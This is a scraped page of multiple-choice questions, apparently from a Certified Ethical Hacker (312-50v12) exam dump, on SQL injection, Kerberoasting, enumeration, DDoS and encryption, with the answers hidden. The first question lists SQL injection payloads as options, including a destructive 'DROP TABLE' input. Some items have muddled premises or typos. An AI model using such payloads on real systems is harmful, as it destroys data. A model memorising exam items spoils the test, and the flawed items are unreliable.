You're the security manager for a tech company that uses a database to store sensitive customer data. You have implemented countermeasures against SQL injection attacks. Recently, you noticed some suspicious activities and suspect an attacker is using SQL injection techniques. The attacker is believed to use different forms of payloads in his SQL queries. In the case of a successful SQL injection attack, which of the following payloads would have the most significant impact?

A. UNION SELECT NULL, NULL, NULL -- : This payload manipulates the UNION SQL operator, enabling the attacker to retrieve data from different database tables

B. ' OR username LIKE '%': This payload uses the LIKE operator to search for a specific pattern in a column

C. ' OR '1'='I: This payload manipulates the WHERE clause of an SQL statement, allowing the attacker to view unauthorized data

D. ' OR 'a'='a; DROP TABLE members; --: This payload combines the manipulation of the WHERE clause with a destructive action, causing data loss

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 137

Topic #: 1

[All 312-50v12 Questions]

A malicious user has acquired a Ticket Granting Service from the domain controller using a valid user's Ticket Granting Ticket in a Kerberoasting attack. He exhorted the TGS tickets from memory for offline cracking. But the attacker was stopped before he could complete his attack. The system administrator needs to investigate and remediate the potential breach. What should be the immediate step the system administrator takes?

A. Perform a system reboot to clear the memory

B. Delete the compromised user's account

C. Change the NTLM password hash used to encrypt the ST

D. Invalidate the TGS the attacker acquired

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 138

Topic #: 1

[All 312-50v12 Questions]

You are a cybersecurity consultant for a healthcare organization that utilizes Internet of Medical Things (IoMT) devices, such as connected insulin pumps and heart rate monitors, to provide improved patientcare. Recently, the organization has been targeted by ransomware attacks. While the IT infrastructure was unaffected due to robust security measures, they are worried that the IoMT devices could be potential entry points for future attacks. What would be your main recommendation to protect these devices from such threats?

A. Disable all wireless connectivity on IoMT devices.

B. Regularly change the IP addresses of all IoMT devices.

C. Use network segmentation to isolate IoMT devices from the main network.

D. Implement multi-factor authentication for all IoMT devices.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 139

Topic #: 1

[All 312-50v12 Questions]

You are a cybersecurity consultant for a global organization. The organization has adopted a Bring Your Own Device (BYOD)policy, but they have recently experienced a phishing incident where an employee's device was compromised. In the investigation, you discovered that the phishing attack occurred through a third-party email app that the employee had installed. Given the need to balance security and user autonomy under the BYOD policy, how should the organization mitigate the risk of such incidents? Moreover, consider a measure that would prevent similar attacks without overly restricting the use of personal devices.

A. Provide employees with corporate-owned devices for work-related tasks.

B. Require all employee devices to use a company-provided VPN for internet access.

C. Implement a mobile device management solution that restricts the installation of non-approved applications.

D. Conduct regular cybersecurity awareness training, focusing on phishing attacks.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 140

Topic #: 1

[All 312-50v12 Questions]

XYZ company recently discovered a potential vulnerability on their network, originating from misconfigurations. It was found that some of their host servers had enabled debugging functions and unknown users were granted administrative permissions. As a Certified Ethical Hacker, what would be the most potent risk associated with this misconfiguration?

A. An attacker may be able to inject a malicious DLL into the current running process

B. Weak encryption might be allowing man-in-the-middle attacks, leading to data tampering

C. Unauthorized users may perform privilege escalation using unnecessarily created accounts

D. An attacker may carry out a Denial-of-Service assault draining the resources of the server in the process

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 141

Topic #: 1

[All 312-50v12 Questions]

An organization suspects a persistent threat from a cybercriminal. They hire an ethical hacker, John, to evaluate their system security. John identifies several vulnerabilities and advises the organization on preventive measures. However, the organization has limited resources and opts to fix only the most severe vulnerability. Subsequently, a data breach occurs exploiting a different vulnerability. Which of the following statements best describes this scenario?

A. The organization is at fault because it did not fix all identified vulnerabilities.

B. Both the organization and John share responsibility because they did not adequately manage the vulnerabilities.

C. John is at fault because he did not emphasize the necessity of patching all vulnerabilities.

D. The organization is not at fault because they used their resources as per their understanding.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 142

Topic #: 1

[All 312-50v12 Questions]

An ethical hacker is attempting to crack NTLM hashed passwords from a Windows SAM file using a rainbow table attack. He has dumped the on-disk contents of the SAM file successfully and noticed that all LM hashes are blank. Given this scenario, which of the following would be the most likely reason for the blank LM hashes?

A. The SAM file has been encrypted using the SYSKEY function.

B. The passwords exceeded 14 characters in length and therefore, the LM hashes were set to a "dummy" value.

C. The Windows system is Vista or a later version, where LM hashes are disabled by default.

D. The Windows system is using the Kerberos authentication protocol as the default method.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 143

Topic #: 1

[All 312-50v12 Questions]

A Certified Ethical Hacker (CEH) is given the task to perform an LDAP enumeration on a target system. The system is secured and accepts connections only on secure LDAP. The CEH uses Python for the enumeration process. After successfully installing LDAP and establishing a connection with the target, he attempts to fetch details like the domain name and naming context but is unable to receive the expected response. Considering the circumstances, which of the following is the most plausible reason for this situation?

A. The system failed to establish a connection due to an incorrect port number.

B. The enumeration process was blocked by the target system's intrusion detection system.

C. The secure LDAP connection was not properly initialized due to a lack of 'use_ssl = True' in the server object creation.

D. The Python version installed on the CEH's machine is incompatible with the ldap3 library.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 144

Topic #: 1

[All 312-50v12 Questions]

You are a cybersecurity consultant for a major airport that offers free Wi-Fi to travelers. The management is concerned about the possibility of "Evil Twin" attacks, where a malicious actor sets up a rogue access point that mimics the legitimate one. They are looking for a solution that would not significantly impact the user experience or require travelers to install additional software. What is the most effective security measure you could recommend that fits these constraints, considering the airport's unique operational environment?

A. Regularly change the SSID of the airport's Wi-Fi network

B. Use MAC address filtering on the airport's Wi-Fi network

C. Implement WPA3 encryption for the airport's Wi-Fi network

D. Display a captive portal page that warns users about the possibility of Evil Twin attacks

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 145

Topic #: 1

[All 312-50v12 Questions]

As a Certified Ethical Hacker, you are conducting a footprinting and reconnaissance operation against a target organization. You discover a range of IP addresses associated with the target using the SecurityTrails tool. Now, you need to perform a reverse DNS lookup on these IP addresses to find the associated domain names, as well as determine the nameservers and mail exchange (MX) records. Which of the following DNSRecon commands would be most effective for this purpose?

A. dnsrecon -r 192.168.1.0/24 -n nsl.example.com -t axfr

B. dnsrecon -r 10.0.0.0/24 -n nsl.example.com -t zonewalk

C. dnsrecon -r 162.241.216.0/24 -n nsl.example.com -t std

D. dnsrecon -r 162.241.216.0/24 -d example.com -t brt

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 146

Topic #: 1

[All 312-50v12 Questions]

You are an ethical hacker tasked with conducting an enumeration of a company's network. Given a Windows Answered Marked for Review 37.6% system with NetBIOS enabled, port 139 open, and file and printer sharing active, you are about to run some nbtstat commands to enumerate NetBIOS names. The company uses IPv6 for its network. Which of the following actions should you take next?

A. Switch to an enumeration tool that supports IPv6

B. Use nbtstat -a followed by the IPv6 address of the target machine

C. Use nbtstat -c to get the contents of the NetBIOS name cache

D. Utilize Nmap Scripting Engine (NSE) for NetBIOS enumeration

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 147

Topic #: 1

[All 312-50v12 Questions]

During a red team assessment, a CEH is given a task to perform network scanning on the target network without revealing its IP address. They are also required to find an open port and the services available on the target machine. What scanning technique should they employ, and which command in Zenmap should they use?

A. Use SCTP INIT Scan with the command "-sY"

B. Use UDP Raw ICMP Port Unreachable Scanning with the command "-sU"

C. Use the ACK flag probe scanning technique with the command "-sA"

D. Use the IDLE/IPID header scan technique with the command "-sI"

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 148

Topic #: 1

[All 312-50v12 Questions]

A large corporation is planning to implement preventive measures to counter a broad range of social engineering techniques. The organization has implemented a signature-based IDS, intrusion detection system, to detect known attack payloads and network flow analysis to monitor data entering and leaving the network. The organization is deliberating on the next step. Considering the information provided about various social engineering techniques, what should be the organization's next course of action?

A. Implement endpoint detection and response solution to oversee endpoint activities

B. Set up a honeypot to attract potential attackers into a controlled environment for analysis

C. Deploy more security personnel to physically monitor key points of access

D. Organize regular employee awareness training regarding social engineering techniques and preventive measures

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 149

Topic #: 1

[All 312-50v12 Questions]

An audacious attacker is targeting a web server you oversee. He intends to perform a Slow HTTP POST attack, by manipulating 'a' HTTP connection. Each connection sends a byte of data every 'b' second, effectively holding up the connections for an extended period. Your server is designed to manage 'm' connections per second, but any connections exceeding this number tend to overwhelm the system. Given 'a=100' and variable 'm', along with the attacker's intention of maximizing the attack duration 'D=a*b', consider the following scenarios. Which is most likely to result in the longest duration of server unavailability?

A. m=90, b=15: The server can manage 90 connections per second, but the attacker's 100 connections exceed this, and with each connection held up for 15 seconds, the attack duration could be significant.

B. m=105, b=12: The server can manage 105 connections per second, more than the attacker's 100 connections, likely maintaining operation despite a moderate hold-up time.

C. m=110, b=20: Despite the attacker sending 100 connections, the server can handle 110 connections per second, therefore likely staying operative, regardless of the hold-up time per connection.

D. m=95, b=10: Here, the server can handle 95 connections per second, but it falls short against the attacker's 100 connections, albeit the hold-up time per connection is lower.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 150

Topic #: 1

[All 312-50v12 Questions]

A large organization has recently performed a vulnerability assessment using Nessus Professional, and the security team is now preparing the final report. They have identified a high-risk vulnerability, named XYZ, which could potentially allow unauthorized access to the network. In preparing the report, which of the following elements would NOT be typically included in the detailed documentation for this specific vulnerability?

A. Proof of concept (PoC) of the vulnerability, if possible, to demonstrate its potential impact on the system.

B. The total number of high, medium, and low-risk vulnerabilities detected throughout the network.

C. The list of all affected systems within the organization that are susceptible to the identified vulnerability.

D. The CVE ID of the vulnerability and its mapping to the vulnerability's name, XYZ.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 151

Topic #: 1

[All 312-50v12 Questions]

Recently, the employees of a company have been receiving emails that seem to be from their colleagues, but with suspicious attachments. When opened, these attachments appear to install malware on their systems. The IT department suspects that this is a targeted malware attack. Which of the following measures would be the most effective in preventing such attacks?

A. Disabling Autorun functionality on all drives

B. Avoiding the use of outdated web browsers and email software

C. Regularly scan systems for any new files and examine them

D. Applying the latest patches and updating software programs

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 152

Topic #: 1

[All 312-50v12 Questions]

A network security analyst, while conducting penetration testing, is aiming to identify a service account password using the Kerberos authentication protocol. They have a valid user authentication ticket (TGT) and decided to carry out a Kerberoasting attack. In the scenario described, which of the following steps should the analyst take next?

A. Carry out a passive wire sniffing operation using Internet packet sniffers

B. Perform a PRobability INfinite Chained Elements (PRINCE) attack

C. Extract plaintext passwords, hashes, PIN codes, and Kerberos tickets using a tool like Mimikatz

D. Request a service ticket for the service principal name of the target service account

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 153

Topic #: 1

[All 312-50v12 Questions]

As a cybersecurity analyst at IoT Defend, you are working with a large utility company that uses Industrial Control Systems (ICS) in its operational technology (OT) environment. The company has recently integrated IoT devices into this environment to enable remote monitoring and control. They want to ensure these devices do not become a weak link in their security posture. To identify potential vulnerabilities in the IoT devices, which of the following actions should you recommend as the first step?

A. Use stronger encryption algorithms for data transmission between IoT devices.

B. Implement network segmentation to isolate IoT devices from the rest of the network.

C. Conduct a vulnerability assessment specifically for the IoT devices.

D. Install the latest antivirus software on each IoT device.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 154

Topic #: 1

[All 312-50v12 Questions]

A penetration tester is performing an enumeration on a client's network. The tester has acquired permission to perform enumeration activities. They have identified a remote inter-process communication (IPC) share and are trying to collect more information about it. The tester decides to use a common enumeration technique to collect the desired data. Which of the following techniques would be most appropriate for this scenario?

A. Probe the IPC share by attempting to brute force admin credentials

B. Brute force Active Directory

C. Extract usernames using email IDs

D. Conduct a DNS zone transfer

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 155

Topic #: 1

[All 312-50v12 Questions]

As a cybersecurity analyst at TechSafe Inc., you are working on a project to improve the security of a smart home system. This IoT-enabled system controls various aspects of the home, from heating and lighting to security cameras and door locks. Your client wants to ensure that even if one device is compromised, the rest of the system remains secure. Which of the following strategies would be most effective for this purpose?

A. Recommend using a strong password for the smart home system's main control panel.

B. Suggest implementing two-factor authentication for the smart home system's mobile app.

C. Propose frequent system resets to clear any potential malware.

D. Advise using a dedicated network for the smart home system, separate from the home's main Wi-Fi network.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 156

Topic #: 1

[All 312-50v12 Questions]

During your summer internship at a tech company, you have been asked to review the security settings of their web server. While inspecting, you notice the server reveals detailed error messages to users, including database query errors and internal server errors. As a cybersecurity beginner, what is your understanding of this setting, and how would you advise the company?

A. Retain the setting as it aids in troubleshooting user issues.

B. Suppress detailed error messages, as they can expose sensitive information.

C. Implement stronger encryption to secure the error messages.

D. Increase the frequency of automated server backups.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 157

Topic #: 1

[All 312-50v12 Questions]

You are the chief security officer at AlphaTech, a tech company that specializes in data storage solutions. Your company is developing a new cloud storage platform where users can store their personal files. To ensure data security, the development team is proposing to use symmetric encryption for data at rest. However, they are unsure of how to securely manage and distribute the symmetric keys to users. Which of the following strategies would you recommend to them?

A. Use hash functions to distribute the keys.

B. Use HTTPS protocol for secure key transfer.

C. Use digital signatures to encrypt the symmetric keys.

D. Implement the Diffie-Hellman protocol for secure key exchange.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 158

Topic #: 1

[All 312-50v12 Questions]

You work as a cloud security specialist at SkyNet Solutions. One of your clients is a healthcare organization that plans to migrate its electronic health record (EHR) system to the cloud. This system contains highly sensitive personal and medical data. As part of your job, you need to ensure the security and privacy of this data while it is being transferred and stored in the cloud. You recommend that data should be encrypted during transit and at rest. However, you also need to ensure that even if a cloud service provider(CSP) has access to encrypted data, they should not be able to decrypt it. Which of the following would be the most suitable strategy to meet this requirement?

A. Rely on network-level encryption protocols for data transfer.

B. Use SSL/TLS for data transfer and allow the CSP to manage encryption keys.

C. Utilize the CSP's built-in data encryption services.

D. Use client-side encryption and manage encryption keys independently of the CSP.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 159

Topic #: 1

[All 312-50v12 Questions]

A certified ethical hacker is conducting a Whois footprinting activity on a specific domain. The individual is leveraging various tools such as Batch IP Converter and Whois Analyzer Pro to retrieve vital details but is unable to gather complete Whois information from the registrar for a particular set of data. As the hacker, what might be the probable data model being utilized by the domain's registrar for storing and looking up Whois information?

A. Thin Whois model working correctly

B. Thin Whois model with a malfunctioning server

C. Thick Whois model with a malfunctioning server

D. Thick Whois model working correctly

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 160

Topic #: 1

[All 312-50v12 Questions]

You are a cybersecurity professional managing cryptographic systems for a global corporation. The company uses a mix of Elliptic Curve Cryptography (ECC) for key exchange and symmetric encryption algorithms for data encryption. The time complexity of ECC key pair generation is O(n^3), where 'n' is the size of the key. An advanced threat actor group has a quantum computer that can potentially break ECC with a time complexity of O((log n)^2). Given that the ECC key size is 'n=512' and varying symmetric encryption algorithms and key sizes, which scenario would provide the best balance of security and performance?

A. Data encryption with AES-128: Provides moderate security and fast encryption, offering a balance between the two.

B. Data encryption with AES-256: Provides high security with better performance than 3DES, but not as fast as other AES key sizes.

C. Data encryption with 3DES using a 168-bit key: Offers high security but slower performance due to 3DES's inherent inefficiencies.

D. Data encryption with Blowfish using a 448-bit key: Offers high security but potential compatibility issues due to Blowfish's less widespread use.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 161

Topic #: 1

[All 312-50v12 Questions]

You are a security analyst for CloudSec, a company providing cloud security solutions. One of your clients, a financial institution, wants to shift its operations to a public cloud while maintaining a high level of security control. They want to ensure that they can monitor all their cloud resources continuously and receive real-time alerts about potential security threats. They also want to enforce their security policies consistently across all cloud workloads. Which of the following solutions would best meet these requirements?

A. Implement a Virtual Private Network (VPN) for secure data transmission.

B. Deploy a Cloud Access Security Broker (CASB).

C. Use multi-factor authentication for all cloud user accounts.

D. Use client-side encryption for all stored data.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 162

Topic #: 1

[All 312-50v12 Questions]

Consider a hypothetical situation where an attacker, known for his proficiency in SQL Injection attacks, is targeting your web server. This adversary meticulously crafts 'q' malicious SQL queries, each inducing a delay of 'd' seconds in the server response. This delay in response is an indicator of a potential attack. If the total delay, represented by the product 'q*d', crosses a defined threshold 'T', an alert is activated in your security system. Furthermore, it is observed that the attacker prefers prime numbers for 'q', and 'd' follows a pattern in the Fibonacci sequence. Now, consider 'd=13' seconds (a Fibonacci number) and various values of 'q' (a prime number) and 'T'. Which among the following scenarios will most likely trigger an alert?

A. q=17, T=220: Even though the attacker increases 'q', the total delay ('q*d' = 221 seconds) just surpasses the threshold, possibly activating an alert.

B. q=13, T=180: In this case, the total delay caused by the attacker ('q*d' = 169 seconds) breaches the threshold, likely leading to the triggering of a security alert.

C. q=11, T=150: Here, the total delay induced by the attacker ('q*d' = 143 seconds) does not surpass the threshold, so the security system remains dormant.

D. q=19, T=260: Despite the attacker's increased effort, the total delay ('q*d' = 247 seconds) does not exceed the threshold, thus no alert is triggered.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 163

Topic #: 1

[All 312-50v12 Questions]

You are an ethical hacker contracted to conduct a security audit for a company. During the audit, you discover that the company's wireless network is using WEP encryption. You understand the vulnerabilities associated with WEP and plan to recommend a more secure encryption method. Which of the following would you recommend as a suitable replacement to enhance the security of the company's wireless network?

A. Open System authentication

B. WPA2-PSK with AES encryption

C. SSID broadcast disabling

D. MAC address filtering

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 164

Topic #: 1

[All 312-50v12 Questions]

You are the lead cybersecurity analyst at a multinational corporation that uses a hybrid encryption system to secure inter-departmental communications. The system uses RSA encryption for key exchange and AES for data encryption, taking advantage of the strengths of both asymmetric and symmetric encryption. Each RSA key pair has a size of 'n' bits, with larger keys providing more security at the cost of slower performance. The time complexity of generating an RSA key pair is O(n^2), and AES encryption has a time complexity of O(n). An attacker has developed a quantum algorithm with time complexity O((log n)^2) to crack RSA encryption. Given 'n=4000' and variable 'AES key size', which scenario is likely to provide the best balance of security and performance?

A. AES key size=128 bits: This configuration provides less security than option A, but RSA key generation and AES encryption will be faster.

B. AES key size=256 bits: This configuration provides a high level of security, but RSA key generation may be slow.

C. AES key size=192 bits: This configuration is a balance between options A and B, providing moderate security and performance.

D. AES key size=512 bits: This configuration provides the highest level of security but at a significant performance cost due to the large AES key size.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12
Question #: 165
Topic #: 1
[All 312-50v12 Questions]

An experienced cyber attacker has created a fake LinkedIn profile, successfully impersonating a high-ranking official from a well-established company, to execute a social engineering attack. The attacker then connected with other employees within the organization, receiving invitations to exclusive corporate events and gaining access to proprietary project details shared within the network. What advanced social engineering technique has the attacker primarily used to exploit the system and what is the most likely immediate threat to the organization?

A. Whaling and Targeted Attacks

B. Pretexting and Network Vulnerability

C. Spear Phishing and Spam

D. Baiting and Involuntary Data Leakage

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 166

Topic #: 1

[All 312-50v12 Questions]

As a cybersecurity analyst for a large corporation, you are auditing the company's mobile device management (MDM) policy. One of your areas of concern is data leakage from company-provided smartphones. You are worried about employees unintentionally installing malicious apps that could access sensitive corporate data on their devices. Which of the following would be an effective measure to prevent such data leakage?

A. Require biometric authentication for unlocking devices.

B. Regularly change Wi-Fi passwords used by the devices.

C. Mandate the use of VPNs when accessing corporate data.

D. Enforce a policy that only allows app installations from approved corporate app stores.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 167

Topic #: 1

[All 312-50v12 Questions]

A certified ethical hacker is carrying out an email footprinting exercise on a targeted organization using eMailTrackerPro. They want to map out detailed information about the recipient's activities after receiving the email. Which among the following pieces of information would NOT be directly obtained from eMailTrackerPro during this exercise?

A. Geolocation of the recipient

B. Type of device used to open the email

C. The email accounts related to the domain of the organization

D. The time recipient spent reading the email

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 168

Topic #: 1

[All 312-50v12 Questions]

You are a cybersecurity trainee tasked with securing a small home network. The homeowner is concerned about potential "Wi-Fi eavesdropping," where unauthorized individuals could intercept the wireless communications. What would be the most effective first step to mitigate this risk, considering the simplicity and the residential nature of the network?

A. Disable the network's SSID broadcast

B. Enable encryption on the wireless network

C. Enable MAC address filtering

D. Reduce the signal strength of the wireless router

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 169

Topic #: 1

[All 312-50v12 Questions]

A well-resourced attacker intends to launch a highly disruptive DDoS attack against a major online retailer. The attacker aims to exhaust all the network resources while keeping their identity concealed. Their method should be resistant to simple defensive measures such as IP-based blocking. Based on these objectives, which of the following attack strategies would be most effective?

A. The attacker should instigate a protocol-based SYN flood attack, consuming connection state tables on the retailer's servers

B. The attacker should leverage a botnet to launch a Pulse Wave attack, sending high-volume traffic pulses at regular intervals

C. The attacker should initiate a volumetric flood attack using a single compromised machine to overwhelm the retailer's network bandwidth

D. The attacker should execute a simple ICMP flood attack from a single IP, exploiting the retailer's ICMP processing

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 170

Topic #: 1

[All 312-50v12 Questions]

A large organization is investigating a possible identity theft case where an attacker has created a new identity by combining multiple pieces of information from different victims to open a new bank account. The attacker also managed to receive government benefits using a fraudulent identity. Given the circumstances, which type of identity theft is the organization dealing with?

A. Identity Cloning and Concealment

B. Child Identity Theft

C. Social Identity Theft

D. Synthetic Identity Theft

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 171

Topic #: 1

[All 312-50v12 Questions]

A company recently experienced a debilitating social engineering attack that led to substantial identity theft. An inquiry found that the employee inadvertently provided critical information during an innocuous phone conversation. Considering the specific guidelines issued by the company to thwart social engineering attacks, which countermeasure would have been the most successful in averting the incident?

A. Conduct comprehensive training sessions for employees on various social engineering methodologies and the risks associated with revealing confidential data.

B. Implement a well-documented change management process for modifications related to hardware or software.

C. Adopt a robust software policy that restricts the installation of unauthorized applications.

D. Reinforce physical security measures to limit access to sensitive zones within the company premises, thereby warding off unauthorized intruders.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 172

Topic #: 1

[All 312-50v12 Questions]

An IT company has just implemented new security controls to their network and system setup. As a Certified Ethical Hacker, your responsibility is to assess the possible vulnerabilities in the new setup. You are given the information that the network and system are adequately patched with the latest updates, and all employees have gone through recent cybersecurity awareness training. Considering the potential vulnerability sources, what is the best initial approach to vulnerability assessment?

A. Conducting social engineering tests to check if employees can be tricked into revealing sensitive information

B. Checking for hardware and software misconfigurations to identify any possible loopholes

C. Evaluating the network for inherent technology weaknesses prone to specific types of attacks

D. Investigating if any ex-employees still have access to the company's system and data

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 173

Topic #: 1

[All 312-50v12 Questions]

An ethical hacker has been tasked with assessing the security of a major corporation's network. She suspects the network uses default SNMP community strings. To exploit this, she plans to extract valuable network information using SNMP enumeration. Which tool could best help her to get the information without directly modifying any parameters within the SNMP agent's management information base (MIB)?

A. SnmpWalk, with a command to change an OID to a different value

B. snmp-check (snmp_enum Module) to gather a wide array of information about the target

C. Nmap, with a script to retrieve all running SNMP processes and associated ports

D. OpUtils, are mainly designed for device management and not SNMP enumeration

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 174

Topic #: 1

[All 312-50v12 Questions]

During a recent vulnerability assessment of a major corporation's IT systems, the security team identified several potential risks. They want to use a vulnerability scoring system to quantify and prioritize these vulnerabilities. They decide to use the Common Vulnerability Scoring System (CVSS). Given the characteristics of the identified vulnerabilities, which of the following statements is the most accurate regarding the metric types used by CVSS to measure these vulnerabilities?

A. Temporal metric represents the inherent qualities of a vulnerability.

B. Base metric represents the inherent qualities of a vulnerability.

C. Temporal metric involves measuring vulnerabilities based on a specific environment or implementation.

D. Environmental metric involves the features that change during the lifetime of the vulnerability.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 175

Topic #: 1

[All 312-50v12 Questions]

You are a cybersecurity consultant at SecureIoT Inc. A manufacturing company has contracted you to strengthen the security of their Industrial IoT (IIoT) devices used in their operational technology (OT)environment. They are concerned about potential attacks that could disrupt their production lines and compromise safety. They have an advanced firewall system in place, but you know this alone is not enough. Which of the following measures should you suggest to provide comprehensive protection for their IIoT devices?

A. Increase the frequency of changing passwords on all IIoT devices.

B. Use the same encryption standards for IIoT devices as for IT devices.

C. Rely on the existing firewall and install antivirus software on each IIoT device.

D. Implement network segmentation to separate IIoT devices from the rest of the network.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12
Question #: 176
Topic #: 1
[All 312-50v12 Questions]

In an advanced digital security scenario, a multinational enterprise is being targeted with a complex series of assaults aimed to disrupt operations, manipulate data integrity, and cause serious financial damage. As the Lead Cybersecurity Analyst with CEH and CISSP certifications, your responsibility is to correctly identify the specific type of attack based on the following indicators:

The attacks are exploiting a vulnerability in the target system's hardware, inducing misprediction of future instructions in a program's control flow. The attackers are strategically inducing the victim process to speculatively execute instructions sequences that would not have been executed in the absence of the misprediction, leading to subtle side effects. These side effects, which are observable from the shared state, are then utilized to infer the values of in-flight data.

What type of attack best describes this scenario?

A. Rowhammer Attack
B. Watering Hole Attack
C. Side-Channel Attack
D. Privilege Escalation Attack

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 177

Topic #: 1

[All 312-50v12 Questions]

In the process of implementing a network vulnerability assessment strategy for a tech company, the security analyst is confronted with the following scenarios:

1) A legacy application is discovered on the network, which no longer receives updates from the vendor.
2) Several systems in the network are found running outdated versions of web browsers prone to distributed attacks.
3) The network firewall has been configured using default settings and passwords.
4) Certain TCP/IP protocols used in the organization are inherently insecure.

The security analyst decides to use vulnerability scanning software. Which of the following limitations of vulnerability assessment should the analyst be most cautious about in this context?

A. Vulnerability scanning software cannot define the impact of an identified vulnerability on different business operations

B. Vulnerability scanning software is not immune to software engineering flaws that might lead to serious vulnerabilities being missed

C. Vulnerability scanning software is limited in its ability to detect vulnerabilities at a given point in time

D. Vulnerability scanning software is limited in its ability to perform live tests on web applications to detect errors or unexpected behavior

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 178

Topic #: 1

[All 312-50v12 Questions]

In your cybersecurity class, you are learning about common security risks associated with web servers. One topic that comes up is the risk posed by using default server settings. Why is using default settings on a web server considered a security risk, and what would be the best initial step to mitigate this risk?

A. Default settings allow unlimited login attempts; setup account lockout

B. Default settings reveal server software type; change these settings

C. Default settings cause server malfunctions; simplify the settings

D. Default settings enable auto-updates; disable and manually patch

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 179

Topic #: 1

[All 312-50v12 Questions]

As a junior security analyst for a small business, you are tasked with setting up the company's first wireless network. The company wants to ensure the network is secure from potential attacks. Given that the company's workforce is relatively small and the need for simplicity in managing network security, which of the following measures would you consider a priority to protect the network?

A. Hide the network SSID

B. Enable WPA2 or WPA3 encryption on the wireless router

C. Implement a MAC address whitelist

D. Establish a regular schedule for changing the network password

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 180

Topic #: 1

[All 312-50v12 Questions]

During a reconnaissance mission, an ethical hacker uses Maltego, a popular footprinting tool, to collect information about a target organization. The information includes the target's Internet infrastructure details (domains, DNS names, Netblocks, IP address information). The hacker decides to use social engineering techniques to gain further information. Which of the following would be the least likely method of social engineering to yield beneficial information based on the data collected?

A. Dumpster diving in the target company's trash bins for valuable printouts

B. Impersonating an ISP technical support agent to trick the target into providing further network details

C. Shoulder surfing to observe sensitive credentials input on the target's computers

D. Eavesdropping on internal corporate conversations to understand key topics

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 181

Topic #: 1

[All 312-50v12 Questions]

An organization has been experiencing intrusion attempts despite deploying an Intrusion Detection System (IDS) and Firewalls. As a Certified Ethical Hacker, you are asked to reinforce the intrusion detection process and recommend a better rule-based approach. The IDS uses Snort rules and the new recommended tool should be able to complement it. You suggest using YARA rules with an additional tool for rule generation. Which of the following tools would be the best choice for this purpose and why?

A. yarGen - Because it generates YARA rules from strings identified in malware files while removing strings that also appear in goodware files

B. Koodous - Because it combines social networking with antivirus signatures and YARA rules to detect malware

C. YaraRET - Because it helps in reverse engineering Trojans to generate YARA rules

D. AutoYara - Because it automates the generation of YARA rules from a set of malicious and benign files

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 182

Topic #: 1

[All 312-50v12 Questions]

During an attempt to perform an SQL injection attack, a certified ethical hacker is focusing on the identification of database engine type by generating an ODBC error. The ethical hacker, after injecting various payloads, finds that the web application returns a standard, generic error message that does not reveal any detailed database information. Which of the following techniques would the hacker consider next to obtain useful information about the underlying database?

A. Utilize a blind injection technique that uses time delays or error signatures to extract information

B. Try to insert a string value where a number is expected in the input field

C. Attempt to compromise the system through OS-level command shell execution

D. Use the UNION operator to combine the result sets of two or more SELECT statements

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 183

Topic #: 1

[All 312-50v12 Questions]

During an ethical hacking engagement, you have been assigned to evaluate the security of a large organization's network. While examining the network traffic, you notice numerous incoming requests on various ports from different locations that show a pattern of an orchestrated attack. Based on your analysis, you deduce that the requests are likely to be automated scripts being run by unskilled hackers. What type of hacker classification does this scenario most likely represent?

A. Script Kiddies trying to compromise the system using pre-made scripts.

B. Gray Hats testing system vulnerabilities to help vendors improve security.

C. White Hats conducting penetration testing to identify security weaknesses.

D. Black Hats trying to exploit system vulnerabilities for malicious intent.

Show Suggested Answer

Actual exam question from ECCouncil's 312-50v12

Question #: 184

Topic #: 1

[All 312-50v12 Questions]

